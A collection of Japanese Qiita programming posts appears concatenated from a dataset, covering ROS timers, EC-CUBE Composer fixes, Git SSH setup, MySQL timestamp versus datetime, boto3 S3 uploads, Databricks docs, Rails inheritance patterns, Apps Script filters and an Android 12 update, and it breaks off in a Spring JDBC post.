OmniAICreator/Qiita-1.07M huggingface dataset:
ROS Python タイマー割り込み


以下のように、rospyを使うとtimer割り込みを簡単に行うことができます.

```python:timer_callback.py
import rospy

def callback(msg):
  print("callback")

rospy.init_node('timer_callback')
rospy.Timer(rospy.Duration(1), callback) # 1秒お気にタイマー割り込み, 0.1秒おきに実行したい場合は rospy.Duration(0.1) のように書く

r = rospy.Rate(3) 
while not rospy.is_shutdown():
  print("loop")
  r.sleep()
```

結果

```
$ python timer_callback.py
loop
loop
loop
callbackloop

loop
loop
loop
 callback
loop
loop
loop
 callback
loop
loop
loop
callback

```

参考:https://raw.githubusercontent.com/ros-visualization/visualization_tutorials/kinetic-devel/interactive_marker_tutorials/scripts/basic_controls.py

c++:https://qiita.com/srs/items/a159fd8e86bb41a2f0ba
EC-CUBE4 | Composerライブラリ更新 | 不整合の解消

#例えばCarbonを2にアップデートする時
`composer.json` の carbon のバージョンを書き換えます。

```json
"nesbot/carbon": "^2.0",
```
`composer.lock` もバージョンもいちおう書き換えておきます

```json
{
  "name": "nesbot/carbon",
  "version": "2.0", //←ココ
  "source": {
     "type": "git",
     "url": "https://github.com/briannesbitt/Carbon.git",
     "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33"
},
```
そしてアップデートをかけます

```ssh
$ composer update
```
なぜか、うまくいきません。
「EC-CUBEプラグインが変更できない」という表示がでます。

#Composerの不整合の原因
EC-CUBE開発チームの全員が、同じプラグインを入れていないのに、
`composer.json`を git管理している場合に起こるようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/216132/8cb78ae1-ef0c-3f84-602b-747dbacc2209.png)
##開発者A 「Web APIのプラグインを入れておこう」

```json
"ec-cube/api": "^1.0",
```
##開発者B 「なんだコレ？消しておこう。」
composer.jsonから削除した結果
↓

```json
 [RuntimeException]                                                             
  You can not uninstall the EC-CUBE plugin via `composer` command.               
  Please use the `bin/console eccube:composer:remove ec-cube/xxxxxxx` instead.
```
これにより、不整合で `composer` が動かない事になります。
プラグインは全員共通のものを入れましょう。

#調べ方
`composer.json` に不整合があるのを調査するため
ターミナルで、インストールされているパッケージの一覧を表示させます。

```ssh
composer show -i
```
ec-cube/○○○○ を、重点的にみていきます。インストールされているプログラムが、
`composer.json` にない場合は、composerは、ライブラリを自動的に削除しようとします。
出力結果

```sshh
ec-cube/Api                                   1.0.0   Web API
```
インストールされているライブラリがありました。
`composer.json` をインストールされたライブラリと表記を同じにします。

```json
"ec-cube/Api": "^1.0",
```
「Do Not Use UpperCase Character」 というような警告が出るので、
`composer.json` にライブラリ名を書く場合は、小文字が良いようです

```json
"ec-cube/api": "^1.0",
```

誰かが消してしまった `composer.json`　の記述がコレで復活しました。
これで composer コマンドはスイスイ動きます。

```
composer require nesbot/carbon
composer require lcobucci/jwt
composer require trikoder/oauth2-bundle ^2.1
```
↓

成功した。

---
#packagist.jpが404
欲しいファイルが見つからない、となる事があります。

```
composer require nesbot/carbon
```

```
 [Composer\Downloader\TransportException]                                                                    
  The "https://packagist.jp/p/symfony/browser-kit%249d38bb9371177797afd866391fc1ea93edc275c2d725e5e76f5e489b  
  49567c31.json" file could not be downloaded (HTTP/1.1 404 Not Found) 
```
packagist.jp がおかしいようなので、jpを見に行く設定を消します。
設定を消すとpackagist.org という本家を見に行くようになります。

```
composer config -g --unset repos.packagist
```
参考URL
https://packagist.jp/
とりあえず(sshで)git cloneやpushをできるようにする

# 環境 
・ubuntu20.04
　(windowsとmacの場合も書いておきます)
・GitLab
　(GitHubでも手順は変わりません)

※Gitのアカウントは作成済前提です。  

# 手順

### 大まかな手順
1. コマンドプロンプトでGit操作ができるようにする(windowsのみ)
2. ローカルにSSHキー作成
3. Gitに作成したキーを登録
4. ローカルの.gitにユーザー情報登録
5. pull
6. 中身を変更した後のpushまでの準備
7. push

## 1. コマンドプロンプトでGit操作ができるようにする(windowsのみの手順)

以下のサイトが最強  

https://qiita.com/taiponrock/items/632c117220e57d555099

## 2. ローカルにSSHキー作成

```bash
ssh-keygen -t ed25519 -C "email"
eval "$(ssh-agent -s)"

```

config編集
```bash
sudo nano ~/.ssh/config
```

ubuntu , Windowsの場合

```~/.ssh/config
Host *
IdentityFile ~/.ssh/id_ed25519
```
macの場合
```~/.ssh/config
Host *
AddkeysToAgent yes
UseKeychain yes
IdentityFile ~/.ssh/id_ed25519
```

記入ができたらセーブして閉じます(Ctrl+X → Y)

```bash
ssh-add ~/.ssh/id_ed25519
```

```bash
sudo gedit ~/.ssh/id_ed25519.pub
```
上記でファイルが開くので中身をコピーします

## 3. Gitに作成したキーを登録

1. Gitのサイトを開く
2. 右上のユーザーアイコンをクリック
3. Edit profile
4. 左のタブの　SSH Keys
5. Keyという大きい空白欄にコピーしたものを貼り付ける
6. Title には登録するパソコンなどのが何か任意に決める(例:My Macbook)
7. Expires at はいつまで登録するかの期限なので無期限ならそのまま
8. Add keyで登録完了

## 4. ローカルの.gitにユーザー情報登録

コマンドプロンプトに戻って

```bash
git config --global user.name name
git config --global user.email email
```
nameは何でもOK、pushとかした時にその名前で履歴が残る  
emailの部分は登録したアカウント情報に変えて行う

## 5. pull

pullしたいプロジェクトをpullする  

git pull ~~~

※ 今回はブランチの話はしません

## 6. 中身を変更した後のpushまでの準備

変更をコミットする
```bash
git add . # .が全部の変更を指します
git commit -m "メッセージ" # 変更内容とかをメッセージに残すといいかと思います
```

## 7. push

```bash
git push origin main 
# ブランチを切らずにmainで作業したのでmainをpushするといった記述です
# ブランチを切った時にはブランチ名にして下さい
```

ウェブサイト側で変わっていればOKです
MySQL8でtimestamp型とdatetime型を比較する

突然ですがtimestamp型は以下の問題を抱えているのでdatetime使ったほうが無難、みたいな思考になったとき
**「すでにtimestampでいくつもテーブルが存在するがあとからdatetimeのテーブルを追加してうまく機能します？」**
という疑問があると思います。

https://qiita.com/juve_534/items/a9f9f72d49f8817951e8

基本的に取得する場合は差異がないはずですがJOINしてカラムを比較した場合はどうなるの？タイムゾーンによる影響はどうなの？
が不明瞭だったので実際に動かして実験してみます。

それではそれぞれのテーブルを作っておきます。

```SQL
CREATE TABLE timestamp_table
(
    id bigint unsigned auto_increment primary key,
    created_at timestamp not null
) COLLATE = utf8mb4_general_ci;

CREATE TABLE datetime_table
(
    id bigint unsigned auto_increment primary key,
    created_at datetime not null
) COLLATE = utf8mb4_general_ci;
```

データも入れておきます。

```SQL
INSERT INTO timestamp_table (created_at) VALUES (now()), (now() - INTERVAL 1 DAY), (now() - INTERVAL 2 DAY);
INSERT INTO datetime_table (created_at) VALUES (now()), (now() - INTERVAL 1 DAY), (now() - INTERVAL 2 DAY);
```

中を見てると同じですね。

```
SELECT * FROM timestamp_table;

1,2021-10-20 03:28:46
2,2021-10-19 03:28:46
3,2021-10-18 03:28:46
```

```
SELECT * FROM datetime_table;

1,2021-10-20 03:28:46
2,2021-10-19 03:28:46
3,2021-10-18 03:28:46
```

`created_at`でJOINしてみましょう。

```
SELECT * FROM timestamp_table tt JOIN datetime_table dt on tt.created_at = dt.created_at;

1,2021-10-20 03:28:46,1,2021-10-20 03:28:46
2,2021-10-19 03:28:46,2,2021-10-19 03:28:46
3,2021-10-18 03:28:46,3,2021-10-18 03:28:46
```

予想通りJOINできました。
ということで疑問だった「JOINしてカラムを比較した場合はどうなるの？」は問題ないことが確認できました。

続いてタイムゾーンを変えてみましょう。現在のタイムゾーンは

```
SHOW VARIABLES LIKE '%time_zone%';

system_time_zone,UTC
time_zone,SYSTEM
```

となっているので`Tokyo/Asia`に変更しましょう。

```
SET time_zone = 'Asia/Tokyo';
```

先程のJOINによるクエリを実行してみます。

```
SELECT * FROM timestamp_table tt JOIN datetime_table dt on tt.created_at = dt.created_at;
```

結果は0件。ONの条件が一致しなくなっています。
改めて`timestamp_table`と`datetime_table`を見比べてみましょう。

```
SELECT * FROM timestamp_table;

1,2021-10-20 12:28:46
2,2021-10-19 12:28:46
3,2021-10-18 12:28:46

SELECT * FROM datetime_table;

1,2021-10-20 03:28:46
2,2021-10-19 03:28:46
3,2021-10-18 03:28:46
```

`timestamp_table`は+9時間になっています。当たり前なのですがtimestamp型ではタイムゾーンが考慮されますが、datetime型では考慮されないことがわかります。
「タイムゾーンによる影響はどうなの？」に関してはMySQLのタイムゾーン設定に影響があり、timestamp型とdatetime型のカラムをJOINや比較等をした場合に影響がある。ということがわかりました。

# まとめ

- **JOINしてカラムを比較した場合はどうなるの？**
    - 特に影響はないと思われる
- **タイムゾーンによる影響はどうなの？**
    - 影響をうけるのでタイムゾーン設定を変更した場合は想定していたクエリの結果と異なる可能性がある

ちなみにLaravelのマイグレーションで利用されるBlueprintのtimestamps関数はもちろんtimestamp型でcreated_atとupdated_atを作るんですが、みなさん2038年問題に際してはどう考えてるのやら？
気になります
BACPAC→SSMへデータベース復元のやり方



![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509696/4ec59c88-0565-306c-87b4-fa3668948dcb.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509696/8d7a1b6e-bfea-a6a9-b5f5-ca386ad892db.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509696/e2003160-2eaa-fffa-2c51-8ffea0f5050a.png)
python-docxでサムネイルを削除する

## 【問題点】アイコンまっしろやんけ！
F5でリロードしてみると、一瞬だけワードのアイコンが出る。
すぐに真っ白になるので、多分画像ファイルの縮小版表示と似たことが起きているっぽい
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/447423/d82ee08a-5e43-0bb9-7593-cd8abe606de8.png)

## 【原因】問題はやっぱり「縮小版」（英語：Thumbnail）
「縮小版」、そんな機能があるのか…と、「Word 縮小版」とググったら見つかりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/447423/13a76316-517a-e796-0e92-ddd67aea6cb6.png)

## 【解決策】以下のファイルを開いて再度保存
開くファイルはdefault.docx
これをテンプレートにして新たなWordファイルが作られてるっぽい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/447423/e279e88d-f36e-1a6f-8873-e19be126c6b5.png)

F12で「名前を付けて保存」ダイアログを起動
チェック項目を修正して「保存」
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/447423/1706b6bf-38a6-6fc3-1936-fefc5ece822f.png)
Pythonを使ってAmazon S3にファイルをアップロードする

# はじめに

AWS との連携を Python で試す。Python 用 AWS SDK である Boto3 を用いて Amazon S3 へのファイルアップロードという簡単な操作を試してみる。[AWS SDK for Python](https://aws.amazon.com/jp/sdk-for-python/) を参考にした。

# Boto3 とは

冒頭にも書いた通り、Python 用 AWS SDK で、Python アプリケーションやライブラリ、スクリプトを AWS の各種サービス（Amazon S3, Amazon EC2, Amazon DynamoDB など）と容易に統合ができる。
Boto3 には、**Client API（低レベル API）**と **Resource API（高レベル API）** という2つの異なるレベルの API がある。両者の違いは明確に理解できていないが、本記事では Client API で試行してみる。
その他にも、AWS リソースの変化を自動的にポーリングする waiter という機能や Amazon S3 や Amazon DynamoDB といったサービスに固有の高レベル機能ももっている。

# Boto3 のインストール

以下コマンドで Boto3 をインストールする。

```bash
$ pip install boto3
```

Boto3 は Python バージョン 2.7, 3.4+ で利用可能。

# AWS API キーの準備

AWS サービスを扱うには API キーが必要となるので、S3 のアクセス権限をもたせた IAM ユーザを作成し、その **アクセスキー ID** と**シークレットアクセスキー**を準備する。
このキーが流出すると、権限の範囲内でなんでもできてしまい非常に危険であるので、コード上にベタ書きはせず環境変数としてもたせる。（詳細は後述）
上記で述べたように API キーの処理は危険であるので、AWS リソースからアクセスする場合は IAM ロールを付与して扱うのが望ましい。たとえば Lambda から S3 へのアクセスをする場合には、Lambda に対して S3 アクセス権限をもたせたロールを付与する。そうした場合、API キーは扱わなくて済む（はず）。

# S3 へアクセス

Boto3 を用いて Amazon S3 にアクセスする。以下は Bucket リストを表示するコードである。

```python:boto3.py
import boto3

client = boto3.client(
    's3',
    aws_access_key_id='**********',
    aws_secret_access_key='**********',
    region_name='ap-northeast-1'
)

print(client.list_buckets())
```

`boto3.client('s3')` で S3 へアクセスするオブジェクトを作成する。's3' の代わりに 'ec2' や 'lambda' などを入れれば、対応するサービスを扱うことができる。扱えるサービスは [Available services](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/index.html) で見ることができる。

その他は準備した API キーやリージョンを指定している。ただし、このようにベタ書きでキー情報を書いてしまうと、GitHub などで誤って公開してしまう恐れがあるので、以下コードのように環境変数として指定するとよい。
まず `.env` ファイルを作成して環境変数として値を設定する。`.env` ファイルはこの環境変数を読み込みたいプログラムと同じかそれより上位に置く必要があるが、基本的には同階層に置けばよいと思う。

```.env
AWS_ACCESS_KEY_ID='**********'
AWS_SECRET_ACCESS_KEY='**********'
AWS_DEFAULT_REGION='ap-northeast-1'
```

次に、dotenv ライブラリの `load_dotenv()` を実行する。これによって、先ほど作成した `.env` ファイルの環境変数を勝手に読み取って補完することができ、`boto3.cliend('s3')` のみの記述で済む。dotenv は `pip install python-dotenv` でインストールできる。

```python:boto3.py
import boto3
from dotenv import load_dotenv

load_dotenv()
client = boto3.client('s3')

print(client.list_buckets())
```

# S3 へファイルをアップロード

上記で S3 へのアクセスは確認できたため、次にファイルをアップロードする。[S3.Client.upload_file](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html#S3.Client.upload_file) を参考にした。コードは以下。

```python:upload.py
from dotenv import load_dotenv
import boto3

load_dotenv()
client = boto3.client('s3')

Filename = './data/test.csv'
Bucket = 'my-bucket'
Key = 'test/test.csv'
client.upload_file(Filename, Bucket, Key)
```

アップロードしたいファイルへのパス、アップロード先の Bucket、アップロード先のパスをそれぞれ指定してやればよい。

# おわりに

Amazon S3 へのファイルアップロードを行った。その他サービスを試しつつ、Resource API や IAM ロールの検討などをして実務で扱えるようにしていきたい。
Databricksにおけるモデルページ

[Models \| Databricks on AWS](https://docs.databricks.com/applications/machine-learning/models.html) [2021/6/11時点]の翻訳です。

Databricksでモデルを管理するには、サイドバーの![](https://docs.databricks.com/_images/models-icon.png)**Models**をクリックします。モデルレジストリのUIが表示されます。
![](https://docs.databricks.com/_images/registered-models.png)

[DatabricksのMLflowモデルレジストリ](https://qiita.com/taka_yayoi/items/e7a4bec6420eb7069995)は集中管理されたモデルリポジトリであり、MLflowモデルの完全なライフサイクルの管理を可能とするUIと一連のAPIを提供します。

Databricksは、モデルレジストリから機械学習モデルを取り出し、モデルのバージョン、ステージに基づいて自動でアップデートされるRESTエンドポイントとしてモデルをホストする[MLflowモデルサービング](https://qiita.com/taka_yayoi/items/b5a5f83beb4c532cf921)も提供しています。

### Databricks 無料トライアル

[Databricks 無料トライアル](https://databricks.com/jp/try-databricks)
Databricksにおけるエクスペリメントページ

[Experiments \| Databricks on AWS](https://docs.databricks.com/applications/machine-learning/experiments-page.html) [2021/6/11時点]の翻訳です。

> **プレビュー**
本機能は[パブリックプレビュー](https://docs.databricks.com/release-notes/release-types.html)です。

Experimentページは、企業で使用する[MLflow](https://qiita.com/taka_yayoi/items/1a4e82f7e20c56ba4f72)エクスペリメントへのクイックアクセスを提供します。Databricksノートブックやジョブから、これらのエクスペリメントを記録することで、[機械学習モデル開発を追跡](https://qiita.com/taka_yayoi/items/ba0c7f46ff7c3dbf87bb)することができます。

このページにアクセスするには、サイドバーの![](https://docs.databricks.com/_images/experiments-icon.png)**Experiment**をクリックします。このアイコンは、[機械学習ペルソナ](https://qiita.com/taka_yayoi/items/bb475b184e335733a3c3)の状態にあるときにのみ表示されます。
![](https://docs.databricks.com/_images/experiments-page.png)

エクスペリメントの参照、検索、作成を行うことができます。現在のワークスペースでアクセスできるエクスペリメントのみがこのページに表示されます。

- [エクスペリメントページ](https://qiita.com/taka_yayoi/items/ba0c7f46ff7c3dbf87bb#%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%AA%E3%83%A1%E3%83%B3%E3%83%88)を表示するには、テーブルのエクスペリメント名をクリックします。
- エクスペリメントを検索するには、**Search**フィールドにテキストを入力し、**Search**をクリックします。検索テキストが**Name**、**Location**、**Created by**、**Notes**カラムに含まれるエクスペリメントのみが表示されます。
- 新規エクスペリメントを作成するには、![](https://docs.databricks.com/_images/create-expt-dropdown.png)ドロップダウンメニューを使用します。ドロップダウンメニューから[AutoMLエクスペリメント](https://qiita.com/taka_yayoi/items/0ed860131a02aeade14f)、あるいは[ブランク(空)エクスペリメント](https://qiita.com/taka_yayoi/items/ba0c7f46ff7c3dbf87bb#%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%AA%E3%83%A1%E3%83%B3%E3%83%88)を作成することができます。

    - AutoMLエクスペリメント: **Configure AutoML experiment**ページが表示されます。AutoMLの使い方に関しては[Databricks AutoML](https://qiita.com/taka_yayoi/items/0ed860131a02aeade14f)を参照ください。
    - ブランクエクスペリメント: **Create MLflow Experiment**ダイアログが表示されます。ダイアログで、名前、オプションでアーティファクトの格納場所を指定します。デフォルトのアーティファクトの格納場所は`dbfs:/databricks/mlflow-tracking/<experiment-id>`となっています。詳細は[ワークスペースエクスペリメントの作成](https://qiita.com/taka_yayoi/items/ba0c7f46ff7c3dbf87bb#%E3%83%AF%E3%83%BC%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%BC%E3%82%B9%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%AA%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE%E4%BD%9C%E6%88%90)を参照ください。

        エクスペリメントにランを記録するには、エクスペリメントのパスを指定して`mlflow.set_experiment()`を呼び出します。エクスペリメントのパスは、[エクスペリメントページ](https://qiita.com/taka_yayoi/items/ba0c7f46ff7c3dbf87bb#%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%AA%E3%83%A1%E3%83%B3%E3%83%88)の上部に表示されます。詳細及びサンプルノートブックに関しては、[ランをノートブックエクスペリメント、ワークスペースエクスペリメントに記録する](https://qiita.com/taka_yayoi/items/ba0c7f46ff7c3dbf87bb#%E3%83%A9%E3%83%B3%E3%82%92%E3%83%8E%E3%83%BC%E3%83%88%E3%83%96%E3%83%83%E3%82%AF%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%AA%E3%83%A1%E3%83%B3%E3%83%88%E3%83%AF%E3%83%BC%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%BC%E3%82%B9%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9A%E3%83%AA%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AB%E8%A8%98%E9%8C%B2%E3%81%99%E3%82%8B)をご覧ください。

### Databricks 無料トライアル

[Databricks 無料トライアル](https://databricks.com/jp/try-databricks)
vistaでstm32duino その20

#概要

vistaでstm32duinoやってみた。
アセンブラ、やってみた。

#サンプルコード

```
int add(int i, int j) {
	int res = 0;
	asm ("ADD 	%[result], %[input_i], %[input_j]"
		: [result] "=r" (res)
		: [input_i] "r" (i), [input_j] "r" (j)
	);
	return res;
}
void setup() {
	Serial.begin(9600);
}
void loop() {
	Serial.println("hello stm32duino");
	delay(1000);
	Serial.println(add(3, 4));
	delay(1000);
}





```

#結果

```
7
hello stm32duino
7
hello stm32duino
7
hello stm32duino
7
hello stm32duino
7
hello stm32duino
7
hello stm32duino
7
hello stm32duino
7



```


以上。
RailsのSTI / CTI / CCI

<!-- @format -->

# STI / CTI / CCI

STI = Single Table Inheritance/単一テーブル継承
CTI = Class Table Inheritance / クラステーブル継承
CCI = Concrete Class Inheritance / 具象クラス継承

[エンタープライズアプリケーションアーキテクチャパターン](https://www.amazon.co.jp/dp/B01B5MX2O2/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=yebihara-22&linkId=453908099846882b69fac8bbb92b3281_)で触れられている、オブジェクト指向で設計されたスーパークラス / サブクラスからなる継承関係をリレーショナルデータベースのテーブルとして実装する 3 つのパターン。

# Model

抽象クラスとしての Animal モデルに対して、具象クラスとして Dog / Cat / Bird が存在する。

```ruby
class Animal < ActiveRecord::Base
end
```

```ruby
class Dog < Animal
end
```

```ruby
class Cat < Animal
end
```

```ruby
class Bird < Animal
end
```

# STI

STI（Single Table Inheritance/単一テーブル継承） は、単一の継承階層に所属するクラス群を、ただひとつのテーブルを使って永続化する手法。
複数のモデルで 1 つのテーブルを共有する。

![ほげ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/493565/d055ba23-33ce-2394-dc1e-dbb668c07fc6.png)

Dog / Cat / Bird 　というテーブルは存在せず、全てのデータは Animals に保存される。
Rails では標準で STI がサポートされており、type というカラムでモデルを判別する。

Rails では、ActiveRecord が STI の時に type という名前を予約語として使用するので意図せずエラーが発生することがある。
STI を使用しない時や、STI を使用する際に type ではないカラムでモデルを判別したい場合には以下のようにする。

```ruby
class Animal < ActiveRecord::Base
  # 無効にする
  self.inheritance_column = :_type_disabled
  # 変更する
  self.inheritance_column = :kind
end
```

#### 長所

- 必要なテーブルは 1 つだけで、サブクラスが増えてもテーブルが増えない
- 論理的なレコード全体（ここでは Animal 全体）を取得するためにジョインが必要ない
- Rails でネイティブサポートされている

#### 短所

- 一部のサブクラスでしか使用されないカラムがある場合、他のクラスでは null になる
- そのため、NotNull 制約をかけることができない

# CTI

CTI(Class Table Inheritance/クラステーブル継承)では、抽象クラスと具象クラスのテーブルを全て作成する。
テーブルは、親モデルへ関連づけを行うためのカラムと、そのクラス自身とサブクラスに固有の共通属性のためのカラムのみを持つ。
![cti.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/493565/57ad1f33-5a97-be0f-3717-2f051fb74bb9.png)

#### 長所

- STI のように NULL の問題が発生しない

#### 短所

- 具象クラスが増えるとテーブルが増える
- 論理的なレコード全体を取得するためにジョインが必要

# CCI

CCI(Concrete Class Inheritance/具象クラス継承)では、具象クラスのテーブルのみを作成する。
テーブルは、抽象クラスから継承する共通属性も含めて、その具象クラスが持つ全ての属性のためのカラムを持つ。

![CCI.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/493565/c2fda3d1-a80d-0308-4459-e8ec79843955.png)

#### 長所

- STI のように NULL の問題が発生しない

#### 短所

- 具象クラスが増えるとテーブルが増える
Databricks MLflowガイド

[MLflow guide \| Databricks on AWS](https://docs.databricks.com/applications/mlflow/index.html) [2021/8/10時点]の翻訳です。

[MLflow](https://www.mlflow.org/)は、エンドツーエンドの機械学習ライフサイクルを管理するためのオープンソースプラットフォームです。以下のような主要コンポーネントを有しています。

- トラッキング: パラメーターと結果を記録、比較するためにエクスペリメントを追跡します。
- モデル: 様々なMLライブラリによるモデルを管理し、様々なモデルサービング、推論プラットフォームにモデルをデプロイできます。
- プロジェクト: MLコードを再利用可能、再現可能な形式でパッケージし、他のデータサイエンティストと共有したり、本格運用環境に移動することができます。
- モデルレジストリ: モデルの完全なライフサイクルのステージ遷移を管理するために、バージョン管理、注釈が可能な集中管理モデルストアを利用できます。
- モデルサービング: RESTエンドポイントとしてMLflowモデルをホストできます。

MLflowでは[Java](https://www.mlflow.org/docs/latest/java_api/index.html)、[Python](https://www.mlflow.org/docs/latest/python_api/index.html)、[R](https://www.mlflow.org/docs/latest/R-api.html)、[REST](https://docs.databricks.com/dev-tools/api/latest/mlflow.html) APIをサポートしています。

Databricksは、エンタープライズセキュリティ機能、高可用性、そして、エクスペリメント、ランの管理、ノートブックの改訂履歴のようなDatabricksワークスペースの機能と連携された、完全なマネージド、かつ、ホスティングバージョンのMLflowを提供します。DatabricksにおけるMLflowは、機械学習モデルトレーニングのランや機械学習プロジェクトの実行が統合されたエクスペリエンスを提供します。

Databricksを使い始めたばかりであるならば、軽量な実験でシンプルなマネージドMLflowエクスペリエンスを提供する[Databircksコミュニティエディション](https://qiita.com/taka_yayoi/items/fb4f57c069e1f272e88a)でのMLflow活用を検討して下さい。Databricksコミュニティエディションでは、MLflowプロジェクトのリモート実行はサポートされていません。エクスペリメントとランに対する適切な数の制限を設定する予定です。Databricksコミュニティエディションにおいて、初回でMLflowを起動した際には制限は適用されません。

コントロールプレーンのMLflowのデータ(エクスペリメントラン、メトリクス、タグ、パラメーター)はプラットフォームが管理する鍵によって暗号化されます。[Customer\-managed keys for managed services](https://docs.databricks.com/security/keys/customer-managed-keys-managed-services-aws.html)は、このデータに対してはサポートされていません。一方で、お使いのDBFSルートストレージに格納されているMLflowモデルとアーティファクトは、ワークスペースストレージに対する顧客管理の鍵を設定することで、ご自身の鍵による暗号化を行うことができます。

初心者はMLflowのトラッキングAPIの基本をデモンストレーションする[quickstart](https://docs.databricks.com/applications/mlflow/quick-start.html)からスタートすることをお勧めします。後続のドキュメントでは、サンプルノートブックとともにそれぞれのMLflowコンポーネントを紹介し、Databricksでそれぞれのコンポーネントがどのようにホストされているのかを説明します。

- [Quickstart](https://docs.databricks.com/applications/mlflow/quick-start.html)
- [Databricksにおける機械学習トレーニングのトラッキング](https://qiita.com/taka_yayoi/items/ba0c7f46ff7c3dbf87bb)
- [DatabricksのMLflowを用いたモデルのログ、ロード、登録、デプロイ](https://qiita.com/taka_yayoi/items/e265d48a3e3473edd1b6)
- [Run MLflow Projects on Databricks](https://docs.databricks.com/applications/mlflow/projects.html)
- [DatabricksにおけるMLflowモデルレジストリ](https://qiita.com/taka_yayoi/items/e7a4bec6420eb7069995)
- [Databricksにおけるモデルサービング](https://qiita.com/taka_yayoi/items/b5a5f83beb4c532cf921)
- [Databricks Autologging](https://docs.databricks.com/applications/mlflow/databricks-autologging.html)
- [Databricksにおける機械学習モデル構築のエンドツーエンドのサンプル](https://qiita.com/taka_yayoi/items/f48ccd35e0452611d81b)

### Databricks 無料トライアル

[Databricks 無料トライアル](https://databricks.com/jp/try-databricks)
Google Apps Scriptで設置したフィルターにソート機能を設定する

Google Apps Scriptで設置したフィルターにソート機能を設定するコード。
## Google Apps Scriptでフィルターを設置
まずはGoogle Apps Scriptでフィルターを設置。

```javascript
const sheet = SpreadsheetApp.getActiveSheet();
if(sheet.getFilter() != null) {
  sheet.getFilter().remove();
}
sheet.getDataRange().createFilter()
```
## ソート機能を設定
ソートする際はソートしたい列の番号と降順・昇順かを設定するだけ。

```javascript
const sheet = SpreadsheetApp.getActiveSheet();
if(sheet.getFilter() != null) {
  sheet.getFilter().remove();
}
sheet.getDataRange().createFilter().sort(2, true);
```

`.sort(2, true);`でソートの内容を設定している。

1つ目の引数は、左端を１として数えた時のソートしたい列の番号
2つ目の引数は、trueが昇順(A→Z)、falseが降順(Z→A)
Google Apps Scriptでスプレッドシートの表にフィルターを表示させる

Google Apps Script(GAS)でスプレッドシートにフィルターを表示させるためのコード。

```javascript
const sheet = SpreadsheetApp.getActiveSheet();
sheet.getRange(1, 1, 5, 5).setValues("データがある配列など").createFilter()
```

`.createFilter()`がポイント。

このコードだと確かにフィルターは設定されるものの、2回目以降の実行で「すでにフィルターが設定されているから処理できません」とエラーになる。

そのため`「すでにフィルターが設定されている場合は、フィルターを削除した後新しく設定し直す」`という処理を書く必要がある。

```javascript
const sheet = SpreadsheetApp.getActiveSheet();
if(sheet.getFilter() != null) {
  sheet.getFilter().remove();
}
sheet.getDataRange().createFilter()
```

if文でフィルターがあるかどうかを判別し、「nullじゃない＝設定されている」場合にremoveで削除し、新たにフィルターを設定する際にエラーが起きないようにしている。
Android 12βを正式版に更新する！

みなさん、初めまして！
Androidアプリ開発している「kano-ts」と言います。
今後、ちょいちょいAndroidネタをアップしていきますので、よろしくお願いします！

## さてと、

10/19（日本時間10/20）、ついにPixel系向けにAndroid 12が配信されはじめましたね！

早速、β版（<a href="https://www.google.com/android/beta">Android ベータ プログラム</a>）を正式版に更新します。

12へ更新できる端末たちはこちらです。

* Pixel 3
* Pixel 3 XL
* Pixel 3a
* Pixel 3a XL
* Pixel 4
* Pixel 4 XL
* Pixel 4a
* Pixel 4a (5G)
* Pixel 5
* Pixel 5a

## おや？更新できないぞ？

・OSの「システムアップデート」画面を開いてみましたが、更新画面にならないですね。

## 端末を再起動してみようっと。

・まだ更新できないな。

## Android ベータ プログラムのせいだろうか？

・端末でログインしているGoogleアカウントと同じアカウントでPCのChromeからAndroid ベータ プログラムを開きます。
・登録してた端末を解除してみます。

## 変わんないな。なんで？

・OSの「システムアップデート」画面を開いてみましたが、更新画面にならないぞ。

## もう一度、端末を再起動してみよう。

・更新画面になりましたね。

## 端末によって更新画面がちがう！謎！

１. Pixel 3の場合

更新してから再起動すると「ようこそ」画面になる。（？
使用言語、WiFi設定やGoogleログインアカウントあたりを最初から設定する。
よーし、更新できたできた。

あれ？11になってる。（ざわざわ

インストールしてたアプリが全部ないなっとるやないか！
初期化されとるが！（ﾁｰﾝ。

・
・
・

謎が判明・・。元々Android 10を12βにしてたので、Android ベータ プログラムで端末を解除して「システムアップデート」すると、11になるんですねえ。

よし、12にするぞー。
OSの「システムアップデート」画面から更新。
セキュリティアップデートから始まる。
まだ12にならないなあ。
そのあと12への更新。。

これはメンドイ。。時間がかかりすぎ。
<a href="https://developers.google.com/android/images?hl=ja">ファクトリイメージ</a>を使って一気に12にした方がいいですね。

２. Pixel 4a (5G)の場合

OSの「システムアップデート」から12の正式版になりました。
ふむ。。
元が11だったので、きれいに12に更新されたのだな！

## （やっとPixel 3が）正式版になった！

・端末（元のOS）によって更新画面が違ったりしましたが、Pixel 3、Pixel 4a (5G)共に12の正式版になりました。
・よーし、正式版で評価するぞ！（がーんばれ、私。


今回は以上です。

あまりためにならない記事だったかもしれませんが、これからも投稿がんばります！
【Spring JDBC】URLにパラメータを設定して外部キー制約を無効にする【MySQL】

`sessionVariables=FOREIGN_KEY_CHECKS=0`をパラメータに設定すれば、外部キー制約を無効にできます。
実際に設定すると以下のような書き方になります。

```yml:application.yml
datasource:
